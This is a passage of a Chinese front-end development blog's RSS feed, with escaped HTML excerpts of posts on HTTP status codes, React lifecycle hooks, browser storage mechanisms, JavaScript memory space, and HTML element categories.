&lt;td&gt;2xx&lt;/td&gt;
&lt;td&gt;Success(成功状态码)&lt;/td&gt;
&lt;td&gt;请求正常处理完毕&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;3xx&lt;/td&gt;
&lt;td&gt;Redirection(重定向状态码)&lt;/td&gt;
&lt;td&gt;需要进行附加操作来完成请求&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;4xx&lt;/td&gt;
&lt;td&gt;Client Error (客户端错误状态码)&lt;/td&gt;
&lt;td&gt;服务器无法处理请求&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;5xx&lt;/td&gt;
&lt;td&gt;Server Error(服务器错误状态码)&lt;/td&gt;
&lt;td&gt;服务器处理请求出错&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3 id="3-重要性"&gt;3. 重要性&lt;/h3&gt;
&lt;p&gt;HTTP 状态代码对于诊断应用问题很重要，例如网络服务器是否无法正常工作且无法提供页面等。快速发现这些问题对于开发人员和搜索引擎提供良好的体验非常重要。那为什么 HTTP 状态代码和错误对搜索引擎优化 (SEO) 很重要呢？&lt;/p&gt;</description></item><item><title>React 生命周期</title><link>https://amatsuzero.github.io/LastStand/posts/frontend/react/react-lifecycle/</link><pubDate>Tue, 17 Dec 2024 00:00:00 +0800</pubDate><guid>https://amatsuzero.github.io/LastStand/posts/frontend/react/react-lifecycle/</guid><description>&lt;h2 id="简介"&gt;简介&lt;/h2&gt;
&lt;p&gt;React从v16.3的版本开始， 对生命周期的钩子进行了渐进式的调整，分别废弃和新增了一些生命周期的钩子函数，本文会从以下四点开始讲解：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;新旧生命周期函数的对比&lt;/li&gt;
&lt;li&gt;分析为什么要废弃旧的钩子函数&lt;/li&gt;
&lt;li&gt;详解新的生命周期使用场景&lt;/li&gt;
&lt;li&gt;实例代码演示并进行总结&lt;/li&gt;
&lt;/ol&gt;
&lt;h2 id="新旧生命周期对比"&gt;新旧生命周期对比&lt;/h2&gt;
&lt;p&gt;一个完整的React组件生命周期会依次调用如下钩子：&lt;/p&gt;
&lt;h3 id="old-lifecycle"&gt;old lifecycle&lt;/h3&gt;
&lt;p&gt;&lt;img loading="lazy" src="https://amatsuzero.github.io/LastStand/posts/frontend/react/react-lifecycle/image-01.webp"&gt;&lt;/p&gt;
&lt;p&gt;挂载&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;constructor&lt;/li&gt;
&lt;li&gt;componentWillMount&lt;/li&gt;
&lt;li&gt;render&lt;/li&gt;
&lt;li&gt;componentDidMount&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;更新&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;componentWillReceiveProps&lt;/li&gt;
&lt;li&gt;shouldComponentUpdate&lt;/li&gt;
&lt;li&gt;componentWillUpdate&lt;/li&gt;
&lt;li&gt;render&lt;/li&gt;
&lt;li&gt;componentDidUpdate&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;卸载&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;componentWillUnmount&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="new-lifecycle"&gt;new lifecycle&lt;/h3&gt;
&lt;p&gt;&lt;img loading="lazy" src="https://amatsuzero.github.io/LastStand/posts/frontend/react/react-lifecycle/image-02.webp"&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;挂载&lt;br&gt;
&lt;ul&gt;
&lt;li&gt;constructor&lt;/li&gt;
&lt;li&gt;getDerivedStateFromProps&lt;/li&gt;
&lt;li&gt;render&lt;/li&gt;
&lt;li&gt;componentDidMount&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;更新&lt;br&gt;
&lt;ul&gt;
&lt;li&gt;getDerivedStateFromProps&lt;/li&gt;
&lt;li&gt;shouldComponentUpdate&lt;/li&gt;
&lt;li&gt;render&lt;/li&gt;
&lt;li&gt;getSnapshotBeforeUpdate&lt;/li&gt;
&lt;li&gt;componentDidUpdate&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;卸载&lt;br&gt;
&lt;ul&gt;
&lt;li&gt;componentWillUnmount&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;从以上生命周期的对比，我们不难看出，React从v16.3开始废弃 &lt;code&gt;componentWillMount&lt;/code&gt; &lt;code&gt;componentWillReceiveProps&lt;/code&gt; &lt;code&gt;componentWillUpdate&lt;/code&gt; 三个钩子函数&lt;/p&gt;
&lt;h2 id="分析废弃原因"&gt;分析废弃原因&lt;/h2&gt;
&lt;p&gt;Facebook花了两年多的时间搞出了React Fiber, 因为在v15的版本，更新过程是同步的，往往一个主线程长时间被占用，会导致页面性能问题&lt;/p&gt;
&lt;p&gt;而 &lt;strong&gt;React Fiber的机制:&lt;/strong&gt; 利用浏览器 &lt;code&gt;requestIdleCallback&lt;/code&gt; 将可中断的任务进行分片处理，每一个小片的运行时间很短，这样唯一的线程就不会被独占&lt;/p&gt;
&lt;p&gt;需要详细了解可以点下面链接 &lt;a href="https://zhuanlan.zhihu.com/p/26027085"&gt;Morgan大佬 - 知乎&lt;/a&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;那么React Fiber会对生命周期带来什么影响吗？&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;因为React Fiber &lt;code&gt;Reconciliation&lt;/code&gt; 这个过程有可能暂停然后继续执行，所以挂载和更新之前的生命周期钩子就有可能不执行或者多次执行；&lt;/p&gt;
&lt;p&gt;目前React为这几个生命周期钩子提供了别名，分别是：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;UNSAFE_componentWillMount&lt;/li&gt;
&lt;li&gt;UNSAFE_componentWillReceiveProps&lt;/li&gt;
&lt;li&gt;UNSAFE_componentWillUpdate&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;React17将只提供别名，取个别名的目的就是恶心你，不让你使用。&lt;/p&gt;</description></item><item><title>浏览器的存储机制</title><link>https://amatsuzero.github.io/LastStand/posts/frontend/performance/performance-004/</link><pubDate>Tue, 17 Dec 2024 00:00:00 +0800</pubDate><guid>https://amatsuzero.github.io/LastStand/posts/frontend/performance/performance-004/</guid><description>&lt;p&gt;浏览器的存储机制涵盖多种技术，目的是满足 Web 应用在不同场景下的数据持久化、缓存和离线访问需求。它们各自具有不同的存储容量、生命周期、安全策略和访问方式，理解这些机制对于构建高效、安全的前端应用至关重要。&lt;/p&gt;
&lt;hr&gt;
&lt;h3 id="一浏览器存储机制分类"&gt;一、浏览器存储机制分类&lt;/h3&gt;
&lt;h4 id="1-cookie"&gt;1. Cookie&lt;/h4&gt;
&lt;p&gt;最早期的存储机制，主要用于会话管理和身份认证。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;容量限制&lt;/strong&gt;：单个约 4KB，总数有限制；&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;生命周期&lt;/strong&gt;：可设置过期时间或为会话级；&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;访问方式&lt;/strong&gt;：由浏览器自动在 HTTP 请求头中携带，也能通过 JS 访问（除非设置 HttpOnly）；&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;安全性&lt;/strong&gt;：可设置 HttpOnly、Secure、SameSite 防范安全风险。&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 id="2-web-storagelocalstorage-和-sessionstorage"&gt;2. Web Storage（LocalStorage 和 SessionStorage）&lt;/h4&gt;
&lt;p&gt;HTML5 新增的简单键值对存储方案。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;LocalStorage&lt;/strong&gt;：永久存储，关闭浏览器数据仍保留，同源可访问；&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;SessionStorage&lt;/strong&gt;：页面会话存储，关闭标签页即清空；&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;容量&lt;/strong&gt;：一般为 5~10MB；&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;访问方式&lt;/strong&gt;：同步 API，容易使用但可能阻塞主线程。&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 id="3-indexeddb"&gt;3. IndexedDB&lt;/h4&gt;
&lt;p&gt;浏览器内置的底层结构化数据库，支持事务和索引，适合复杂和大容量数据存储。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;容量&lt;/strong&gt;：远大于 LocalStorage，通常以设备剩余空间为限；&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;访问方式&lt;/strong&gt;：异步 API，支持复杂操作；&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;用途&lt;/strong&gt;：离线应用、大数据缓存、文件存储等。&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 id="4-cache-storage"&gt;4. Cache Storage&lt;/h4&gt;
&lt;p&gt;由 Service Worker 管理的请求和响应缓存，用于离线和加速访问。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;容量&lt;/strong&gt;：较大，依赖设备和浏览器策略；&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;访问方式&lt;/strong&gt;：异步 Promise API；&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;用途&lt;/strong&gt;：缓存静态资源、接口响应，实现离线支持。&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 id="5-service-worker"&gt;5. Service Worker&lt;/h4&gt;
&lt;p&gt;虽然不是存储机制本身，但作为浏览器后台代理进程，管理 Cache Storage，实现网络请求拦截和缓存策略，是现代离线应用的核心。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;生命周期独立于页面&lt;/strong&gt;，可在后台运行；&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;控制页面的网络请求&lt;/strong&gt;，提供离线能力和资源预缓存；&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;可结合 Cache Storage 和 IndexedDB 进行数据管理&lt;/strong&gt;。&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h3 id="二存储机制的生命周期与访问作用域"&gt;二、存储机制的生命周期与访问作用域&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Cookie&lt;/strong&gt;：基于域和路径，可设置 HttpOnly、Secure 限制访问；&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;LocalStorage/SessionStorage&lt;/strong&gt;：基于同源策略，SessionStorage 进一步限定于标签页会话；&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;IndexedDB 和 Cache Storage&lt;/strong&gt;：基于同源，支持版本控制和升级；&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Service Worker&lt;/strong&gt;：独立于页面，能控制同源下的所有相关页面。&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h3 id="三容量限制与性能影响"&gt;三、容量限制与性能影响&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Cookie&lt;/strong&gt; 容量最小，且会随每次请求自动发送，影响网络性能；&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;LocalStorage/SessionStorage&lt;/strong&gt; 适合轻量存储，容量适中；&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;IndexedDB 和 Cache Storage&lt;/strong&gt; 容量大，适合海量数据和文件缓存；&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Service Worker&lt;/strong&gt; 通过异步调度，避免阻塞主线程。&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h3 id="四安全与隐私考虑"&gt;四、安全与隐私考虑&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Cookie&lt;/strong&gt; 可被服务器访问，设置 HttpOnly 避免脚本窃取；&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Web Storage、IndexedDB&lt;/strong&gt; 只能由同源脚本访问，防止跨站数据泄漏；&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Service Worker&lt;/strong&gt; 需 HTTPS 环境，避免被恶意注入；&lt;/li&gt;
&lt;li&gt;用户隐私模式下，存储行为可能受限，数据不保证持久。&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h3 id="五应用场景及选择建议"&gt;五、应用场景及选择建议&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;需要与服务器频繁交互、会话维持时用 Cookie；&lt;/li&gt;
&lt;li&gt;存储简单配置、少量数据用 LocalStorage；&lt;/li&gt;
&lt;li&gt;页面会话临时数据用 SessionStorage；&lt;/li&gt;
&lt;li&gt;大规模结构化数据和离线存储用 IndexedDB；&lt;/li&gt;
&lt;li&gt;静态资源及请求缓存用 Cache Storage，配合 Service Worker 提升离线体验和性能；&lt;/li&gt;
&lt;li&gt;Service Worker 负责管理缓存和拦截网络请求，实现 PWA 功能。&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="常见考点"&gt;常见考点&lt;/h2&gt;
&lt;p&gt;面试考察点通常围绕存储类型、特点、使用场景、容量限制、安全性和生命周期展开：&lt;/p&gt;</description></item><item><title>内存空间</title><link>https://amatsuzero.github.io/LastStand/posts/frontend/javascript/javascript-004/</link><pubDate>Wed, 06 Nov 2024 00:00:00 +0800</pubDate><guid>https://amatsuzero.github.io/LastStand/posts/frontend/javascript/javascript-004/</guid><description>&lt;p&gt;&lt;img loading="lazy" src="https://amatsuzero.github.io/LastStand/posts/frontend/javascript/javascript-004/image-01.webp"&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-javascript" data-lang="javascript"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;var&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;a&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;20&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;var&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;b&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#39;abc&amp;#39;&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;var&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;c&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;true&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;var&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;d&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; { &lt;span style="color:#a6e22e"&gt;m&lt;/span&gt;&lt;span style="color:#f92672"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;20&lt;/span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;因为JavaScript具有自动垃圾回收机制，所以对于前端开发来说，内存空间并不是一个经常被提及的概念，很容易被大家忽视。特别是很多不是计算机专业的朋友在进入到前端之后，会对内存空间的认知比较模糊，甚至有些人干脆就是一无所知。&lt;/p&gt;
&lt;p&gt;当然也包括我自己。在很长一段时间里认为内存空间的概念在JS的学习中并不是那么重要。可是后我当我回过头来重新整理JS基础时，发现由于对它们的模糊认知，导致了很多东西我都理解得并不明白。比如最基本的引用数据类型和引用传递到底是怎么回事儿？比如浅复制与深复制有什么不同？还有闭包，原型等等。&lt;/p&gt;
&lt;p&gt;因此后来我才渐渐明白，想要对JS的理解更加深刻，就必须对内存空间有一个清晰的认知。&lt;/p&gt;
&lt;p&gt;在学习内存空间之前，我们需要对三种数据结构有一个直观的认知。他们分别是&lt;strong&gt;堆(heap)，栈(stack)与队列(queue)&lt;/strong&gt;。&lt;/p&gt;
&lt;h5 id="一栈数据结构"&gt;一、栈数据结构&lt;/h5&gt;
&lt;p&gt;与C/C++不同，JavaScript中并没有严格意义上区分栈内存与堆内存。因此我们可以简单粗暴的理解为JavaScript的所有数据都保存在堆内存中。但是在某些场景，我们仍然需要基于堆栈数据结构的思维来实现一些功能，比如JavaScript的执行上下文（关于执行上下文我会在下一篇文章中总结）。执行上下文的执行顺序借用了栈数据结构的存取方式。(也就是后面我们会经常提到的函数调用栈)。因此理解栈数据结构的原理与特点十分重要。&lt;/p&gt;
&lt;p&gt;要简单理解栈的存取方式，我们可以通过类比乒乓球盒子来分析。如下图左侧。&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" src="https://amatsuzero.github.io/LastStand/posts/frontend/javascript/javascript-004/image-02.webp"&gt;&lt;/p&gt;
&lt;p&gt;这种乒乓球的存放方式与栈中存取数据的方式如出一辙。处于盒子中最顶层的乒乓球5，它一定是最后被放进去，但可以最先被使用。而我们想要使用底层的乒乓球1，就必须将上面的4个乒乓球取出来，让乒乓球1处于盒子顶层。这就是栈空间&lt;strong&gt;先进后出，后进先出&lt;/strong&gt;的特点。图中已经详细的表明了栈空间的存储原理。&lt;/p&gt;
&lt;h5 id="二堆数据结构"&gt;二、堆数据结构&lt;/h5&gt;
&lt;p&gt;堆数据结构是一种树状结构。它的存取数据的方式，则与书架与书非常相似。&lt;/p&gt;
&lt;p&gt;书虽然也整齐的存放在书架上，但是我们只要知道书的名字，我们就可以很方便的取出我们想要的书，而不用像从乒乓球盒子里取乒乓一样，非得将上面的所有乒乓球拿出来才能取到中间的某一个乒乓球。好比在JSON格式的数据中，我们存储的&lt;code&gt;key-value&lt;/code&gt;是可以无序的，因为顺序的不同并不影响我们的使用，我们只需要关心书的名字。&lt;/p&gt;
&lt;h4 id="三队列"&gt;三、队列&lt;/h4&gt;
&lt;p&gt;在JavaScript中，理解队列数据结构的目的主要是为了清晰的明白事件循环（Event Loop）的机制到底是怎么回事。在后续的章节中我会详细分析事件循环机制。&lt;/p&gt;
&lt;p&gt;队列是一种先进先出（FIFO）的数据结构。正如排队过安检一样，排在队伍前面的人一定是最先过检的人。用以下的图示可以清楚的理解队列的原理。&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" src="https://amatsuzero.github.io/LastStand/posts/frontend/javascript/javascript-004/image-03.webp"&gt;&lt;/p&gt;
&lt;h5 id="四变量对象与基础数据类型"&gt;四、变量对象与基础数据类型&lt;/h5&gt;
&lt;p&gt;JavaScript的执行上下文生成之后，会创建一个叫做变量对象的特殊对象（具体会在下一篇文章与执行上下文一起总结），JavaScript的基础数据类型往往都会保存在变量对象中。&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;严格意义上来说，变量对象也是存放于堆内存中，但是由于变量对象的特殊职能，我们在理解时仍然需要将其于堆内存区分开来。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;基础数据类型都是一些简单的数据段，JavaScript中有5中基础数据类型，分别是&lt;code&gt;Undefined、Null、Boolean、Number、String&lt;/code&gt;。基础数据类型都是按值访问，因为我们可以直接操作保存在变量中的实际的值。&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;ES6中新加了一种基础数据类型Symbol，可以先不用考虑他&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h5 id="五引用数据类型与堆内存"&gt;五、引用数据类型与堆内存&lt;/h5&gt;
&lt;p&gt;与其他语言不同，JS的引用数据类型，比如数组Array，它们值的大小是不固定的。引用数据类型的值是保存在堆内存中的对象。JavaScript不允许直接访问堆内存中的位置，因此我们不能直接操作对象的堆内存空间。在操作对象时，实际上是在操作对象的引用而不是实际的对象。因此，引用类型的值都是按引用访问的。这里的引用，我们可以理解为保存在变量对象中的一个地址，该地址与堆内存的实际值相关联。&lt;/p&gt;
&lt;p&gt;为了更好的搞懂变量对象与堆内存，我们可以结合以下例子与图解进行理解。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-javascript" data-lang="javascript"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;var&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;a1&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;0&lt;/span&gt;; &lt;span style="color:#75715e"&gt;// 变量对象
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;var&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;a2&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#39;this is string&amp;#39;&lt;/span&gt;; &lt;span style="color:#75715e"&gt;// 变量对象
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;var&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;a3&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;null&lt;/span&gt;; &lt;span style="color:#75715e"&gt;// 变量对象
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;var&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;b&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; { &lt;span style="color:#a6e22e"&gt;m&lt;/span&gt;&lt;span style="color:#f92672"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;20&lt;/span&gt; }; &lt;span style="color:#75715e"&gt;// 变量b存在于变量对象中，{m: 20} 作为对象存在于堆内存中
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;var&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;c&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; [&lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;, &lt;span style="color:#ae81ff"&gt;2&lt;/span&gt;, &lt;span style="color:#ae81ff"&gt;3&lt;/span&gt;]; &lt;span style="color:#75715e"&gt;// 变量c存在于变量对象中，[1, 2, 3] 作为对象存在于堆内存中
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img loading="lazy" src="https://amatsuzero.github.io/LastStand/posts/frontend/javascript/javascript-004/image-04.webp"&gt;&lt;/p&gt;
&lt;p&gt;因此当我们要访问堆内存中的引用数据类型时，实际上我们首先是从变量对象中获取了该对象的地址引用（或者地址指针），然后再从堆内存中取得我们需要的数据。&lt;/p&gt;
&lt;p&gt;理解了JS的内存空间，我们就可以借助内存空间的特性来验证一下引用类型的一些特点了。&lt;/p&gt;
&lt;p&gt;在前端面试中我们常常会遇到这样一个类似的题目&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-javascript" data-lang="javascript"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;// demo01.js
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;var&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;a&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;20&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;var&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;b&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;a&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;b&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;30&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;// 这时a的值是多少？
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-javascript" data-lang="javascript"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;// demo02.js
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;var&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;m&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; { &lt;span style="color:#a6e22e"&gt;a&lt;/span&gt;&lt;span style="color:#f92672"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;10&lt;/span&gt;, &lt;span style="color:#a6e22e"&gt;b&lt;/span&gt;&lt;span style="color:#f92672"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;20&lt;/span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;var&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;n&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;m&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;n&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;a&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;15&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;// 这时m.a的值是多少
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;在变量对象中的数据发生复制行为时，系统会自动为新的变量分配一个新值。&lt;code&gt;var b = a&lt;/code&gt;执行之后，a与b虽然值都等于20，但是他们其实已经是相互独立互不影响的值了。具体如图。所以我们修改了b的值以后，a的值并不会发生变化。&lt;/p&gt;</description></item><item><title>HTML 元素分类</title><link>https://amatsuzero.github.io/LastStand/posts/frontend/html/html-004/</link><pubDate>Tue, 15 Oct 2024 00:00:00 +0800</pubDate><guid>https://amatsuzero.github.io/LastStand/posts/frontend/html/html-004/</guid><description>&lt;p&gt;根据标签的功能和表现，HTML 标签主要分为以下几类：&lt;/p&gt;
&lt;h3 id="1-块级元素block-level-elements"&gt;1. &lt;strong&gt;块级元素（Block-level Elements）&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;块级元素通常独占一行，并且可以包含其他块级元素或内联元素，能够扩展至父容器的全部宽度。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;特点&lt;/strong&gt;：&lt;br&gt;&lt;/li&gt;
&lt;li&gt;独占一行，默认情况下会在前后产生换行。&lt;/li&gt;
&lt;li&gt;宽度默认是父元素的 100%。&lt;/li&gt;
&lt;li&gt;可以设置 &lt;code&gt;width&lt;/code&gt;、&lt;code&gt;height&lt;/code&gt;、&lt;code&gt;margin&lt;/code&gt;、&lt;code&gt;padding&lt;/code&gt; 等布局属性。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;常见的块级元素&lt;/strong&gt;：&lt;br&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;&amp;lt;div&amp;gt;&lt;/code&gt;：无特定语义的容器，常用于布局。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;&amp;lt;p&amp;gt;&lt;/code&gt;：段落标签。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;&amp;lt;h1&amp;gt;&lt;/code&gt; 到 &lt;code&gt;&amp;lt;h6&amp;gt;&lt;/code&gt;：标题标签，按重要性递减。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;&amp;lt;ul&amp;gt;&lt;/code&gt;、&lt;code&gt;&amp;lt;ol&amp;gt;&lt;/code&gt;、&lt;code&gt;&amp;lt;li&amp;gt;&lt;/code&gt;：无序、有序列表及其项。&lt;/li&gt;
